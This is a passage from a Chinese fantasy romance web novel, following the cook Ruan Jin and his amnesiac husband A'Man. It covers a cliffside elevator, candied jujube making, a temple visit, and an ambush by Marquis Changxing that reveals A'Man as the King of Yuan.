齐颂声越想越生气,他气到骑马骑出了残影,飞奔着回到了桃花县。 一进驿丫,属下还没来得及说什么,他便大声吩咐道:“给我准备笔墨,我要给父亲飞鸽传书!” 手下赶紧拿来了笔墨,齐颂声只是在书信上写了四个字:渊王在此。 他恨,不光恨阮锦,更恨夜昙! 他十三岁的时候就跟在他身边,相处的时候也暗示过很多次,他不是父亲的亲生儿子,他喜欢夜昙哥哥,为什么夜昙哥哥连看都不多看他一眼? 如果他真是这般,天生的不近人情,不对任何人假以辞色便罢了! 可他方才分明对阮锦又是哄又是笑,为什么偏偏他就是不同的那一样? 一个乡野哥儿,他哪里比我好了? 想到这里,齐颂声气哭了,一边哭一边砸了驿站的房间。 手下守在外面不敢说话也不敢劝,这位小公子发起脾气来,除了长兴侯,就算是他那几个哥哥也根本不敢上前。 直到他发完了脾气,齐颂声才冷静了下来,对门外的手下道:“你们明天,再去给我订一间蛮锦阁的包间,我要去会会这个阮锦。” 手下什么都没问,只是应了一声是,便去办事了。 谁料第二天,齐颂声在蛮锦阁守了一天,去见他的却只有一个名叫三儿的总厨。 那丫头说话滴水不漏,问就是阮锦去别院休养,近来身体不便,以免把病气过给小公子,所以没办法前来相见。 如果不是齐颂声昨天见到了活蹦乱跳的阮锦他就信了,哪怕他再生气,也只能摔了几个盘子后离开了。 尉迟荣很生气,上前拦住了齐颂声:“哟,我当是谁呢,原来是长兴侯家的小哥儿啊!怎么了这是?谁惹咱们小公子生气了?” 这俩人自然是认识的,齐颂声看到尉迟荣后便眯了眯眼睛,有些不耐烦的问道:“是你?你怎么会在这儿?” 尉迟荣一甩扇子,上面露出两个字:牛B! 他拦到了齐颂声的前面,说道:“不巧的很啊,这家蛮锦阁的后面有我的份额。虽然只有三成,但那也是我的钱啊!小公子摔了我的东西,就这么拍拍屁股走人了吗?这些盘子倒是不值什么钱,只是你吓到了小姑娘,总得赔偿些精神损失费。” 齐颂声知道这个尉迟荣就是个混子,在渊都也是个只知道吃喝玩乐的二世祖,也不知道关内侯英明一世,怎么收了这么个二世祖当过继。 他今天心情不好,也不过是摔了几个盘子,如果是平常,他可能就和尉迟荣吵一架了。 但他今天着实没心情跟他吵,也懒得和混子计较,随手掏了一块金子便丢给了尉迟荣:“你那几个盘子值几个钱?二十两金,足够买下你那个丫头了。” 说完他转身就要走,却又被尉迟荣给拦住,用扇子指着他道:“把你喷的粪给我收回去!三儿可不是你能买得起的,她万金不止,有市无价!你今天必须得给她道歉,否则就别想出这个门儿!” 三儿见他们要闹事,赶紧上前拉住了尉迟荣,说道:“算了,师兄,想必齐小公子也是无心之失,得饶人处且饶人吧!” 主要是师父不在,他不能让尉迟荣去得罪齐颂声这尊大佛。 齐颂声一听师兄这两个字,眼睛眯了眯,看向尉迟荣道:“师兄?你什么时候多了个师妹?呵,真不知道这桃花县有什么好的,你们一个二个的都往这里跑!一个乡野的哥儿丫头都当宝贝供着,眼睛莫不是瞎了不成?” 尉迟融这爆脾气,抬脚就要去踹齐颂声,却又被三儿拉住了,说道:“齐公子您慢走,今日招待不周,改日定去登门道谢。” 齐颂声撇了一眼三儿,心想果然乡野里的和渊都的就是不一样,没有一点端庄矜持,全都是狐媚相! 这样想着,齐颂声冷哼一声,离开了蛮锦阁。 待到齐颂声离开,慰迟荣才气鼓鼓的说道:“师妹,你拦着我干什么?就这姓齐的,在京城就搞沽名钓誉那一套,还跑来桃花县耀武扬威了。昨天百花巷的那些流民才被放出来,那些人都被折磨成什么样了你没看见吗?我今天还非得杀杀他的威风,让他知道我们蛮锦阁也不是好惹的!” 三儿凉凉道:“你是不怕京城来的侯府公子,可师父吩咐过了,尽量不要和这些达官贵人们起冲突。再说了,师父此时又不在,万一出什么事,咱们俩捏不起这个责任。好了,你别在这儿杵着了,去给我切菜!” 尉迟融收了扇子,灰溜溜跟在三儿屁股后头应道:“唉,好好好,知道了师妹,我这就去切。” 三儿倒也不是怕事,但她没办法保证自己能像师父一样,轻轻松松就化解掉那些危局。 师父不在,她的主要任务就是□□,守好师父创建下的一切。 如今她倒是不用天天守着厨房了,带了两个还算不错的徒弟,也是过了师父的眼的。 只要肯学,阮锦都愿意给他们一口饭吃。 如今桃花县里也有不少食肆开始做炒菜了,阮锦也从来不在意,甚至非常愿意有钱和大家一起赚。 他赚钱的生意,向来都不缺,比如最近的精油和植物油,还有各种豆制品、白糖和红糖。 就连小麦煎饼都卖了几万斤,南来北往的客商全都云集在了桃花县,甚至东南郡都有专门的大客商邀师父前去参与什么东南商会。 师父却在这个上升的关键时期,带着师爹去山上隐居了,说是至少要隐居一个月,这一个月谁也不许打扰他们。 他们感情好,三儿表示理解,反正只要有他们小五义守着这个摊子,就别想有人来祸害他们。 蛮锦集团这边生意做的风声水起,阮锦却天天带着阿蛮上房爬屋,下水摸鱼,还发现了一处登高望远的好去处。 新买的宅子有一处临崖,阿蛮抱着阮锦飞身上去,发现那里一眼望去简直漂亮极了。 阮锦觉得这里好,可以做他们的秘密花园,便提议:“阿蛮,要不我们做个电梯吧!省得你抱着我飞来飞去的,又累又麻烦。” 虽然阿蛮并不嫌麻烦,但是他喜欢和阮锦做一些新奇的事。 所以一听阿锦这么说,他当即点了点头道:“好,听阿锦的。” 于是接下来的几天,阮锦和阿蛮找来了许多结实的松木,松木不易腐,非常适合做临崖建筑的支撑。 阮锦画了图纸,阿蛮便照着图纸做机括,有他的傀儡术在,任何机括都不在话下。 只是升降梯太高了,便用上了榫卯结松,又从山崖上打了洞做支撑,折腾了好几天,才算是把这电梯做好。 阮锦还让阿蛮做了个启动按钮,按钮上分为一楼二楼和三楼。 一楼是他们宅子的院子,二楼是他们在中间挖出的一个小洞天。 阮锦说他小时候一直有个梦想,就是想做一个来无影去无踪的仙人,仙人整天在山里打坐就能获得许多修为,还有一个貌美如花的道侣陪伴左右。 想想如今,除了没有在山里打坐获得修为,其余条件基本都满足了。 尤其是那位貌美如花的道侣,如今正一脸深情的望着他。 阮锦笑眯眯的看着高耸入云的电梯说道:“走啊阿蛮,去我们的二楼打坐?” 阿蛮也笑的一脸开心,摇了摇头道:“阿锦等等,我要给我们的秘密花园设置一个密令。” 阮锦好奇的凑了过去,问道:“什么密令?不会又是你的血吧?” 却见阿蛮从怀中掏出了几枚拇指大小的机括小人,那些机括小人均是由铁木制成,是这世界上最坚固的木头。 阿蛮问阮锦:“阿锦,你来说,我们的密令是什么?需要六个字。” 阮锦好奇的看着那几枚机括小人儿,想了想说道:“那……那就设置为……蛮锦相爱万年!” 阮锦的话音刚落,那几枚机括小人儿便钻进了锁道孔中,吱吱吱的几块传来后,电梯便缓缓从上面降了下来。 阮锦惊讶的说不出话来,捂着嘴巴夸张道:“哇,我的阿蛮好厉害啊!” 竟然在如此远古的时代,就可以设置密码了! 阿蛮不好意思的笑了笑,推开电梯的门让阮锦坐了进去。 其实阮锦一直觉得很奇怪,为什么乘电梯一直叫坐电梯,现在他明白了,因为阿蛮给他做的电梯都是带座位的。 坐在电梯里,扶着两侧的栏杆,还可以看到远处的落日,以及眼前的飞鸟,还有两侧的青松翠柏。 阮锦亲了亲阿蛮的唇角,小声道:“阿蛮,你真好,你怎么这么好呀!” 阿蛮却抓住了阮锦的手,说道:“是因为你好,所以我才会好。” 人这种东西,其实是千变万化的,不光有双面,甚至有多面。 在面对不同的人的时候,他们就会以不同的态度来回应,正是因为阮锦的善良和温暖,才换来了阿蛮同样的温暖回应。 电梯很快抵达了二楼,两人走出电梯,进入了他们的小洞天。 这里并不大,有两个石室,满打满算一个石室二十平,里面却布置的十分温馨,照样有阮锦喜欢的大枕头和大地毛。 他一进去便脱了鞋,每次进入秘密花园的小洞天,阮锦都想和阿蛮做点私密马赛克的事情。 第88章 恰好,阿蛮也正有此意,此时秋风送爽,天色微暖,日头偏西,正是一天里最舒服的时候。 阿蛮倚在铺了厚厚兽皮的石床上,阮帛则懒洋洋的倚在了阮锦的身上。 阮锦随手拿着食盘里洗好的葡萄和枣子,将一枚枣子咬在口中,凑到了阿蛮的身前。 阿蛮十分自然的垂首,咬过了阮锦口中的枣子,两人一人吃了一半。 枣子清脆甘甜,不过也的确如管家所说,这枣子脆则脆矣,确实口感不佳。 这样的枣子最合适,阮锦已经知道该怎么做了。 他抬头抚了抚阿蛮的脸颊,笑眯眯的问道:“阿蛮,甜吗?” 阿蛮点了点头:“甜的。” 阮锦笑出了声:“傻子,今年雨水多,结出的枣子并不如往年的甜。因为雨水过于丰沛,反倒是稀释了甜度。” 阿蛮也笑了笑,拥着阮锦道:“甜的不是枣子,是阿锦。” 阮锦震惊,小傻子真是越来越会说情话了。 他兴奋的搂住阿蛮接了一个枣子味儿的吻,清甜清甜的让他心情更愉悦了。 两人眼神相接,阿蛮便欺身下来,加深了这个吻。 阮锦张口咬住阿蛮的下巴,咬完还舔了舔,问道:“阿蛮喜欢我吗?” “喜欢。”多想一秒都是对这段感情的不尊重。 阮锦又问:“喜欢我哪里呀?” 阿蛮答:“所有,一切,哪里都喜欢。” 阮锦道:“喜欢中哪里,就吻我哪里好吗?” 阿蛮低低的笑着,小声在他耳边道:“这可是你说的,阿锦,我可是要行动了。” 阿蛮的气息拂过阮锦的耳畔,带着枣子的甜香和一丝炽热的纠缠。 阮锦仰起脸,眸中含着笑意,任由阿蛮的唇从自己的眉心开始,细细描摹。 他的吻很轻,像春风拂过花瓣,却又带着不容反抗的强势。眉间、眼尾、鼻尖……每一处都被他珍而重之地吻过。 阮锦被他亲得发痒,忍不住轻笑出声:“阿蛮,你这样……像是在品尝什么珍馐美味。” 阿蛮的指尖轻轻抚过阮锦的唇,低声道:“阿锦本就是珍馐。” 话音未落,他低头吻住阮锦的唇,舌尖抵开他的齿关,将那一抹枣子的甜香彻底掠夺。 阮锦的呼吸逐渐急促,手指无意识地攥紧了阿蛮的衣襟,任由他主导着这个绵长的吻。 等阿蛮稍稍退开时,阮锦的唇已经泛着水润的红,他微微喘息着,眼尾也染上了几分薄红,像是被晚霞浸染的云。 阿蛮的眸色更深,手指轻轻摩挲着他的颈侧,低笑着问:“还要继续吗?” 此时的阮锦已经喘的变了调,却还不认输般的眯起眼,故意挑衅似的抬脚蹭了蹭他的小腿:“怎么?我的阿蛮这便累了吗?” 阿蛮低哼一声,直接扣住他的腰,翻身将他压在了兽皮上。 阮锦的发丝散开,铺在柔软的皮毛上,衬得肤色愈发白皙。 阿蛮的吻从颈侧蔓延而下,在锁骨处流连,牙齿轻轻刮过肌肤,惹得阮锦浑身一颤。 这个吻真的绵密而又缠绵,“阿蛮……”阮锦的声音已经带上了几分轻喘,手指穿进他的发间,像是鼓励,又像是无意识的索取。 阿蛮也得到了阮锦的命令一般,将这个吻越发的贯彻了下去。 屋外秋风渐凉,屋内却是一片温热,兽皮上的两人紧紧相拥,唇齿间残留的枣香渐渐被彼此的体温融化,化作更甜腻的气息。 直到在山洞里胡闹到了日暮西山,阮锦和阿蛮才衣衫疏懒的从二楼下来。 一下来管家就把两大担子的枣子挑到了他的面前,乐呵呵的说道:“小公子,您看,咱们院子里的两株枣树便打了那么多枣。枣子结果可是好事情,像花生啊枣子桂圆莲子这种东西,都是结得越多越吉利。” 阮锦知道这个寓意,说是家里枣子花生之类的结的多,都意味着早生贵子。 其实这些都是迷信的说法,不过谁不喜欢寓意好的事情呢? 阮锦心情也跟着更好了,说道:“好的管家大叔,您帮我把这些枣子都洗干净了,今天晚上我就要把它们做成好吃的!” 管家应了一声,转身便指挥着几个小厮将枣子抬去清洗。 “阿锦要做什么?”阿蛮的嗓音里还透着几分沙哑,说完清了清嗓子,似是觉得不太舒服。 阮锦答:“做蜜枣给你吃。我听着你嗓子不太舒服的样子,待会儿吃两颗蜜枣,说不定就舒服些了。” 很快枣子便被洗好了,阮锦又指挥着众人把枣子的表面割成一道一道的缠丝纹,这是为了方便蜜糖沁入枣中。 做到一半,阮锦的眼中便露出了几分迷茫,心想我不是来度假的吗,怎么又当上牛马了? 算了,不重要,既然遇上了好吃的枣子,那必须得做点好吃的。 接下来他又吩咐佣人熬制糖浆,白糖加水熬成蜂蜜状,再把割好的枣子倒进糖浆里小火慢煮二十分钟。 一边煮一边翻搅,以防止粘锅,直到煮到枣皮变成了半透明状即可撤火。 结束后阮锦又撒了一把干桂花,挤了一些橙皮汁,使香蜜枣的滋味更加浓郁。 这时,蜜枣就可以捞出来晾一晾了,晾到第二天就可以达到最佳的口感。 不过阮锦有些迫不及待,晾凉了以后就分给大家品尝。 至此,庄子上上上下下都吃到了神仙一样的美味,都表示这位新主人不愧是食神菩萨,不光有一颗菩萨心肠,挽救了他们即将被卖掉的命运,做出来的美食也是一等一的好吃。 阿蛮自然是吃到了第一颗,美味的蜜枣不知道比原本的鲜枣香甜多少倍,吃一颗就能补满能量,让人忍不住再吃一颗。 阮锦看向阿蛮,问道:“好吃吗?阿蛮?” 阿蛮的眼睛突然弯了起来,在阮锦的耳边说了一句什么,阮锦的脸倏然就红了。 他捂着脸笑了半天,心想这个死阿蛮,不光会说情话,还会调戏人了。 那家伙刚刚在他耳边说:“和刚刚的阿锦一样好吃。” 但是阮锦很开心,和阿蛮在一起的每一天,都让他觉得好开心。 只是他今天胃口不佳,许是刚刚在二楼吹了风,让阿蛮的身体感觉有些不舒服。 阿蛮看出了他胃口不好,晚上也没有再折腾,而是陪着他早早的睡了。 自从和阮锦在一起,阿蛮的睡眠质量一直出奇的好,一开始偶尔还会早起,晚上还会睡不着,这段时间以来真是倒头就睡,而且睡的非常舒服。 他觉得阿锦是他的幸运星,忍不住又抱紧了怀中之人,轻轻呼吸着他身上的气味,还叭唧在他脸上亲了一口。 而此时的渊都,一队人马浩浩荡荡的从京城出发,朝着桃花县的方向奔袭而来。 以长兴侯为首的众人一身黑衣,戴着斗笠,似是与夜色融为了一体。 在接到小儿子的飞鸽传书后,长兴侯便亲自出了渊都,并带上了他私人豢养的千余名府兵。 一个小小侯爵,养千余名私兵自是不合规的,但不知道为什么,渊王却一直纵容着他,甚至偶尔还会夸奖他一句,说他的私兵养得好。 至此,渊朝王公贵族全都开始热衷养私兵,其中也以长兴侯为最,这次出门的是千余名精锐,除此之外,还藏在郊外千余名。 虽然只有区区三千余名府兵,可若是想起事,也是能起到不少作用的。 第二日一早,阮锦便去尝了达到最佳状态的蜜枣,一尝这个味道就知道对了,当即吩咐管家,把这蜜枣和方子交到奇货巷四儿手上,让他大肆收枣,顺便庄子里的仆从们也从四里八村的收,有多少收多少,全都交到四儿那里做蜜枣。 四儿一见到蜜枣就知道,赚钱的机会又来了,赶紧吩咐手下的工人们去收购枣子,再去工场那边运糖过来。 工场那边运糖也是需要收钱的,自家用糖只需收成本,毕竟不同的场区,也有不同的会计来记账,以免记混了。 不少枣农都听说阮锦这里收枣子,本来他们就愁,今年的枣子收成虽好,成色却不太行,都担心卖不出去。 若是晒成干枣,就如今这个天气,怕都要浆烂了。 于是桃花县所有的枣农都把枣子送到阮锦这里,没几天便收了足足上万斤的枣子,也在几天内把这上万斤的枣子熬成了蜜枣。 结果在奇货巷一摆上,不到一天便被各地的商客抢了个精光。 四儿没办法,看着手里头上万斤的订单,只能派人去其他区县收枣。 阮锦得到好消息后,只觉得这是预料之中的事,现在饮食资源没那么丰富多彩,人们都是追求物质享受的,尤其是那些达官贵人。 当然了,阮锦对食物的售价向来不会太高,就算是普通平民也吃得起。 阮锦看着四儿的来信,心情又是一阵愉悦,除此之外四儿还给他带来了一个八卦,说是梁同告诉李进自己把钱全投到了阮锦的豆腐里,订了十万斤豆腐运往渊都,结果豆腐在半路全都臭了。 李进让梁同去找阮锦赔钱,但梁同不肯去,只说这些只是暂时的,说是臭豆腐也能卖出去,只是需要一定的时间。 只是眼下他所有的钱都被抵押了进去,让梁同先借给他五千两周转。 结果梁李进装死,半个月没露面,等到梁同再找到他时,他已经在别的哥儿怀里快活了。 梁同倒是也没纠缠,直接把梁同和他父母扫地出门,反正也没办婚礼,自己生下的更是个哥儿,他们也懒得抢。 如此,两人便彻底分开了。 第89章 阮锦看完信冷哼了一声,心想李进这个人,真是处处都藏着私心。 不论是对阮钗,还是对梁同,他都是有目的的。 他娶阮钗,是觉得阮钗蠢,放在家里就可以让他出去为所欲为。 找梁同,多数是图他的家财,其次才是图他哥儿的身份,还有他的姿色。 说起来还得感谢阮钗,否则当初要嫁给李进的就是原主了。 如今这也算是好结局,梁同有了孩子作为后继,往后也不必着急成婚,想找多少情人也是他自己的事。 阿蛮在一旁雕着一个漂亮的小木马,阮锦上前问道:“咦?阿蛮这是在雕什么?用来骑的吗?是不是小了点?” 阿蛮竟然还不好意思了,他转过身去继续雕,说道:“不告诉你。” 阮锦:??? 阮锦又绕了过去,佯装不悦道:“阿蛮还对我有秘密了?为什么不告诉我呀?” 阿蛮赶紧哄道:“没有没有,不是秘密……好吧!我说我说,就是……阿锦不是说要生宝宝吗?我就是给我们未来的宝宝雕了一个小木马。还有一个小摇篮,已经雕好了,放在小仓库里。” 阮锦一脸惊讶,一边笑一边道:“阿蛮,你现在就准备这些东西,是不是为时过早了?” 阿蛮摇了摇头道:“不早不早,不早了,生出来就可以用。我多雕一些,这样他就可以早点用上。我还要雕他长大以后的木箭,木刀,木枪,只要是他喜欢的,我什么都可以给他雕。” 阮锦无奈的叹了口气:“夫君啊,你别忘了,我们的第一个孩儿,十有八九会是哥儿的。” 哪怕是后面,也有七八成的机率是哥儿,他们哥儿很难生出儿子或者女儿。 阿蛮道:“那又如何?哥儿也是一样的,他喜欢骑马射箭,便去骑马射箭。他喜欢读书写字,便去读书写字。我们是他的双亲,只要他喜欢,我们就支持他。” 阮锦忍不住在阿蛮的唇上亲了一口,心想阿蛮这样,以后十有八九是个溺爱孩子的主儿。 这臭小子,算是有福气了。 如阮锦所料,蜜枣之风又在桃花县风靡了一场,甚至成为了渊都达官贵人们最喜欢的蜜饯。 四儿收着一张又一张的订单,熬了一锅又一锅的糖,干脆包了一块山地种甘蔗,南方的气候本来就可以种两季,赶在新一季的甘蔗熬完前,新一季的一定得跟上。 阮锦和阿蛮则彻彻底底的在庄子里玩乐了几天,阿蛮雕婴儿用品,阮锦则有事儿没事儿的就去小厨房鼓捣点好吃的出来,小日子过的可谓是和和美美。 今日恰逢庙会,管家一脸开心的跑到阮锦的面前献宝似的说道:“小公子,今日清风寺庙会,小公子不妨去观音殿里拜拜?” 阮锦其实对庙会的兴趣不大,他没什么信仰,如果硬是说信什么的话,他信的是种花大家庭。 见阮锦不感兴趣,管家又道:“听说清风寺里的观音殿送子最灵验,我家儿子儿媳也是婚后多年无子,去年拜了一拜,年初便给我生了一个小孙子。哎哟,别提多机灵了。小公子若是想求子,那带着孤爷去拜一拜,说不定明年小少爷就可以出生了。” 听到这里,阮锦终于来了点兴趣,他坐起身,说道:“真的吗?好吧!反正闲着也是闲着,那我就带着阿蛮去山里转转!” 阿蛮一听说要去寺庙烧香,便找出了他亲手为阮锦做的那把伞。 他把伞拿出来,仔仔细细的教阮锦这伞的功能,按哪个机关会出来什么东西。 最重要的是掌心里的那枚机关,需要用力按下去,会从伞骨的四面八方射出暴雨梨花针,那是在关键时刻保命用的。 而普通的机关,则是伞柄最顶尖上发出的,对准某一个目标,就能击中对方。 阮锦觉得阿蛮今天有些啰嗦,不耐烦道:“哎呀,阿蛮,回来再教我嘛!我们只是出去逛逛,很快就回来了。去清风寺烧个香,再给住持捐些香油钱。如果送子观音真的能给我们送个宝宝来,明年我们再去还愿!为佛祖重塑金身!” 阿蛮却有些任性一般的非要教完,难得的执拗了一回道:“马上就好了,还剩下三个功能。这个功能可以让伞布散开,变成一个小帐篷,若是阿锦想休息了,直接坐在伞下休息便可以。还有这里……” 阮锦只得耐心的听阿蛮把伞的功能讲完,又仔细的在他面前演示了一下,阿蛮才终于点了点头,拉着他一起上山去了。 虽然阮锦觉得今天的阿蛮有些过于较真了,不过他也没多想。 能和阿蛮一起出来逛逛,也算是提升夫夫感情的一个途径。 庙会的清风山难得的热闹,一大早便有不少小贩开始在外面吆喝,阮锦竟然还在道路两旁看到了卖豆腐和炸臭豆腐的。 阮锦曾对四儿说过,只要是来奇货巷拿货的小商小贩,都和大商户一样的价格,让他们也能从中得几分利。 零售的价格统一,不论是在外面买,还是在奇货巷买,都是一样的价格。 也是因为奇货巷的良心定价,才让小贩们更加喜欢阮锦。 他这个食神菩萨的名声,算是彻彻底底的闯出来了。 走在路上,都有小贩在交谈:“老李头今天挣了多少啊?” “嗨呀,不多不多,卖了三板,一板二十斤,一斤赚一文,嘿嘿,这样下去俺一个月至少能赚一千五百文。” “厉害呀!我今天也不错,卖了两板了,食神菩萨这一手真是好啊!俺们村儿的人人都在吃豆腐。” “是吧?听说卖杂货的才赚钱,把奇货巷里的食杂进个遍,一个月下来能赚几两银呢?” “听着倒是好,可咱小老百姓没这个本钱呐!等攒攒的,咱们也开个食杂店。” “我侄儿跑外县,天天早晨来奇货巷进货,第二天一早去卖,哎哟,一天多的能挣几百文类!” “这么好?我那儿子天天在家产档着,改明儿我也让他去!” 听着街道小贩的讨论,坐在车上的某个公子气的直接把轿帘弹飞了出去。 他低低的骂道:“岂有此理,什么食神菩萨,哪儿来的食神菩萨!一个乡野哥儿,一个最下等的商蛊,哪里来的本事跟我比!我堂堂京城佛子,为什么没有人讨论我,偏偏那么多人讨论这个阮锦?” 想到这里,齐颂声的眼神阴戾了起来,他低低的笑了笑,对门外的侍从道:“我爹爹的人快到了吧?你们现在去接应,直接到清风山上,我们要亲自去接王上!” 直到现在,齐颂声仍然觉得他父亲来桃花县是为了接渊王回去。 他不知道的是,长兴侯从来都不想接渊王回去,他只想让渊王有来无回! 此时的阿蛮和阮锦已经来到了清风寺,这寺庙的香火香旺,有许多往来于此的妇人和哥儿。 男子们则聚天寺庙前的广场处,有的高谈阔论,有的则摆起了书局,写字作画,全是些风雅之事。 阮锦拉着阿蛮看了片刻,撺掇着阿蛮去写了四个字:清风朗月。 引来了周为才子们的一阵掌声,还把阿蛮弄得不好意思了。 走了片刻,阮锦总觉得少了些什么,他猛然想了起来,说道:“哎呀,我说怎么少了些什么呢!糖葫芦呀!” 阿蛮好奇的问:“糖葫芦?什么糖葫芦?” 阮锦一边给阿蛮描述着糖葫芦的形状和口感,一边拉着他走进了清风寺,随着人流一起走进了观音殿,并给送子观音燃了一柱清香。 上完香后,院锦又拉着阿蛮去求了个签,由于他对解签的僧人说,要捐上一千两银子的香油钱,那僧人当即让他们稍等,叫了住持过来给他们解签。 住持是个白须老僧,这和阮锦印象里的住持形象差不多,先是捐了香油钱,住持对他唱了声:“阿弥陀佛。” 随即接过他的签文帮忙解了起来,只见上面是一枚缺月,老僧沉默了半天才说了一句:“月有阴晴圆缺。” 阮锦不知道抽了什么风,轻笑一声接了一句:“人有悲欢离合?” 住持怔愣着看着他,把竹签放进了签筒中,说道:“施主大才,这签正如施主所说的那样。” “哦?”阮锦不解,问道:“怎么讲呀?” 住持答:“月有阴晴圆缺,人有悲欢离合。不可谓好,也不可谓不好,只是自古以来的规则。不过,月缺时,就该朝圆时走了。施主未来,定能心想事成。” 阮锦笑了,说道:“那就多谢住持的美言,我和阿蛮的心愿一定可以实现!” 有一说一,他对解签这种事也不怎么信,只是图个彩头,既然住持说了可以心想事成,那就当他可以心想事成吧! 解完了签,阮锦便带着阿蛮出了清风寺。 此时秋高气爽,按说阮锦的心情应该是畅快的,却不知道为什么,总觉得呼吸有些不畅,连情绪都有些郁郁的。 只能把它归咎于秋燥,回去一定多做几串冰糖葫芦给阿蛮吃。 一想到冰糖葫芦的酸甜,阮锦的口水都要流下来了,便拉着阿蛮往回走,只想早点吃到酸酸甜甜的冰糖葫芦。 谁料他们刚刚离开清风寺,绕到寺庙一旁回去的路上,暗地里突然窜出了一队人马,将他们团团围住,团得水泄不通。 阮锦以为遇到了打劫的,他心想你们这些打劫的怕是劫错了人了,我们阿蛮的武艺把你们这些人全撂倒可是没有任何问题的。 下一秒,便听为首的中年男人开口道:“王上,请随臣回渊都!” 第90章 阮锦的脑袋轰然一声巨响,他转头看向阿蛮,唇角牵动了一下问道:“阿蛮,你有没有听到他们在叫你什么?他们竟然叫你……哈哈哈哈,好好笑啊!” 周围没有人笑,阿蛮也没有作声,他只是皱眉看向来人,不知道在想些什么。 这时,阮锦看到了阿蛮额头上若隐若现的圆形符纹。 及至此时,阮锦终于明白了,为什么大将军蒙铎会找一个额头上有胎记的人,这哪是什么胎记,这分明就是阿蛮头上的圆形符纹。 可是阿蛮额头上的圆形符纹为什么会消失? 这也是阿蛮可以在桃花县,在他的身边一直藏匿的原因么? 那些兵丁并不认识阿蛮,他们只是找一个额头上有胎记的人,而蒙铎和齐颂声根本就没见过阿蛮。 不……齐颂声是见过阿蛮的,那天齐颂声离开,阿蛮在马车里叫了他。 是不是因为这个,所以阿蛮才会暴露身份? 阮锦此时就是后悔,为什么没能等到齐颂声他们离开以后再带阿蛮来清风岭小住,为什么非要让他出现在齐颂声的面前? 情绪抵达顶点,阮锦却又忽然意识到了什么。 是啊,他是渊国的王,也就是未来的渊帝,渊帝……怎么可能留在他的身边? 此时的阿蛮还没有恢复记忆,他歪头看向长兴侯,挡在阮锦的身前,冷声用伞指向长兴侯道:“你们,滚!” 长兴侯笑了笑,说道:“王上,我们是来接您回京了,您不记得自己是谁了吗?” 阿蛮的脸上露出了痛苦的表情,他一边捂住额头一边朝长兴侯吼道:“我说,让你滚!你没听见吗?” 长兴侯却兀自下了马,跪到了阿蛮的面前,语气神态虽恭敬,话语里的挑衅却是没有半分收敛:“王上啊,您可不能任性。大渊国的未来,可是系在您一个人的身上呢。别忘了,您可是一国之王。为了一个乡野哥儿,不顾朝政,不顾身份,这是不可取的啊王上!” 阮锦的脑子里已经开始嗡嗡作响,此时他不能思维,说不出话。 远远的却看到齐颂声正骑在一区白马上,正以胜利者的姿态看向他。 阮锦心想,齐颂声为什么这样看着我,难道他是想对我不利吗? 不对,他看向阿蛮的眼神也不对,为什么他要这样看阿蛮? 阮锦的身形一晃,当即被阿蛮扶住,阿蛮焦急的问道:“阿锦,你怎么了?阿锦你是不是哪里不舒服?阿锦你别担心,我这就带你去找九大夫。” 说着他便要扶起阮锦,朝山下的方向走去。 却又被长兴侯的人给拦住,长兴侯道:“王上,这位哥儿的事,就交给下臣来处理吧!您现在必须立刻随下臣回渊都。” 阿蛮怒吼一声:“我说了,让你滚,你听不懂吗?” 长兴侯冷笑一声,说道:“既如此,那王上便别怪下臣冒犯了。来人,把王上绑回马车上!” 他一声令下,四名高阶傀儡师便上前,将阿蛮团团围住。 阿蛮焦急的看向阮锦,眼睛一片赤红,他随手将最近的一名傀儡师推开,说道:“虽然阿锦不许我杀人,但你们今日若敢阻我,便不要怪我开杀戒!” 那四名傀儡师自然是害怕的,渊王是什么样的傀儡操控级别,他们自然心中有数。 可是长兴侯却并不担心,他开口道:“王上的情况,下臣也是略有了解的。您额上的印记,是顶级傀儡印。可如今傀儡印消失了,只能说明您的等级掉到了十阶以下。甚至……不如九阶,乃至八阶可能都不到了。既然如此,本侯带来的四名七阶傀儡师,自然是能将陛下带走的。你们四个,别愣着了,快请王上回渊都!” 那四名傀儡师应了一声是,便朝阿蛮围杀过来。 阿蛮知道自己一个人是对付不了四名七阶高级傀儡师的,甚至还有一名已经有八品之相。 如果想打败他们,阿蛮就必须强行提升自己的实力。 只见他不知道从哪里取出一枚钢针,直直的便朝着自己的心脏位置扎了过去。 阮锦大惊失色,虽然大脑已经处于极度混乱的状态,却还是一把捂住了他的心脏。 而那钢针,刺破了阮锦手背的皮肤后,硬生生被收了回去,阿蛮把钢针一扔,拉住阮锦的手便焦急的问道:“阿锦……你怎么样?” 阮锦摇了摇头,一边流泪一边道:“我没事,阿蛮,我没事。你不要再伤害自己了,你不能再伤害自己了。” 他知道阿蛮是留不住的,真的没有必要为了反抗他们而这样伤害自己。 他也终于知道阿蛮心脏上的小洞是怎么来的了,原来是他自己硬生生扎出来的。 因为他要取自己的心头血,强行提升自己的实力,这样才能越级杀人。 阿蛮摇着头,眼看那四名傀儡师甩着铁链便要把阿蛮捆住,这时忽然天地间风云变幻,一大片黑云压境而至,豆大的雨点砸了下来。 阮锦再抬头时,便看到周围已经围了上百名身披黑羽的骑兵。 为首的骑兵手上拿着一把权杖,他随手朝着长兴侯等人的方向一挥,那些人便如遭雷击一般齐齐向后退去。 长兴侯大惊失色,喊了一声:“黑……黑羽卫?” 为首的黑羽卫手上拿着权杖,策马上前,黑面罩下是低沉而冰冷的声音:“知道是黑羽卫,为何还不跪?” 长兴侯看着黑羽卫手上的权杖,当即十分不情愿的跪了下来。 为首的黑羽卫却道:“王上在此,无需跪权杖。” 长兴侯众人又悻悻的转头,朝着阿蛮的方向跪了下去。 阮锦怔愣的看着那黑鸦一般的黑羽卫,又看向眼神里逐渐变幻了神色的阿蛮,瞬间有了一种不祥的预感。 人有悲欢离合,月有阴晴圆缺,此事古难全。 他与阿蛮,终于是要分开了。 权杖略过阮锦的头顶,飞向了阿蛮,在他接触到权杖的一瞬间,黑色的光芒便将他的周身尽数笼罩。 那光芒仿佛来自无间地狱的修罗,尽数被阿蛮吸收进了体内。 在光芒消失后,阿蛮额头上的银纹印迹全部恢复,银色的圆月形图腾里,泛着黑沉沉的月华之色。 阮锦转头看向阿蛮,眼泪止不住的流下来,阿蛮却起身越过了他,走向了黑羽卫为首的黑骑。 两名黑骑飞身下马,将一件外氅披到了他的身上,阿蛮周身的气质瞬间全变了。 从前的阿蛮干净,单纯,无害,满腔赤诚。 此时的阿蛮却是满眼的阴鸷,满身的戾气,周身上下都释放着人神勿近的杀气,那是浸淫沙场多年,连地狱修罗都为之恐惧的东西。 长兴侯等众人终于再也无法支撑半点,齐齐匍匐到了地上,齐声喊道:“拜见王上。” 